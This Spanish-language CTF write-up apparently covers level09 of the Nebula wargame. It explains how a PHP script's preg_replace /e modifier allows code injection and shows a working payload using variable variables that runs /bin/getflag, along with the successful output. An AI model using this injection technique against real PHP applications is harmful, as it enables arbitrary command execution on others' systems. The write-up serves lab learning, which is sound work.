Vamos con los preliminares:
level09@nebula:/home/flag09$ ls -al
total 13
drwxr-x--- 2 flag09 level09 98 2011-11-20 21:22 .
drwxr-xr-x 1 root root 200 2012-08-27 07:18 ..
-rw-r--r-- 1 flag09 flag09 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag09 flag09 3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag09 level09 7240 2011-11-20 21:22 flag09
-rw-r--r-- 1 root root 491 2011-11-20 21:22 flag09.php
-rw-r--r-- 1 flag09 flag09 675 2011-05-18 02:54 .profile
level09@nebula:/home/flag09$ ./flag09
PHP Notice: Undefined offset: 1 in /home/flag09/flag09.php on line 22
PHP Notice: Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Warning: file_get_contents(): Filename cannot be empty in /home/flag09/flag09.php on line 13
El binario flag09 interpreta y ejecuta el script
flag09.php
. Lo examinamos:
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
Dentro de la función
preg_replace()
observamos un modificador /e
sospechoso, toda vez que su estado actual según la documentación oficial de PHP es obsoleto (deprecated). Pongamos por ejemplo que creamos un archivo con el siguiente contenido:
[email test]
El segundo término, en este caso
test
, será sustituido en el segundo argumento de la función preg_replace()
, obteniendo:
spam("test")
El peligro del modificador
/e
se produce porque esta sentencia se evaluará como código PHP, en vez de ser devuelta como un string final. Esto nos permite injectar código y crear una expresión válida para explotar el programa.
Desgraciadamente, si probamos algo como:
[email `/bin/getflag`]
Esto no funcionará debido a las comillas internas de la función
spam()
, además PHP también filtra las comillas dobles y escapa las simples, de modo que debemos buscar una alternativa. Esta pasa por hacer uso de variables dinámicas o variables variables como algunos las conocen.
Considera la siguiente situación:
<?php
$flag08 = "/home/flag08";
$flag09 = "/home/flag09";
$dir = "flag08";
echo("${$dir}\n");
$dir = "flag09";
echo("${$dir}\n");
?>
El resultado es:
/home/flag08
/home/flag09
A pesar de que la expresion
${$dir}
se encuentra entrecomillada, la variable interna siempre se resuelve, obteniendo ${flag08}
en el primer caso. Esto nos permite obtener ventaja y ejecutar comandos arbitrarios:
level09@nebula:/home/flag09$ cat /tmp/injection
[email ${`/bin/getflag`}]
level09@nebula:/home/flag09$ ./flag09 /tmp/injection pwned
PHP Notice: Undefined variable: You have successfully executed getflag on a target account
in /home/flag09/flag09.php(15) : regexp code on line 1
Pwned!
No hay comentarios:
Publicar un comentario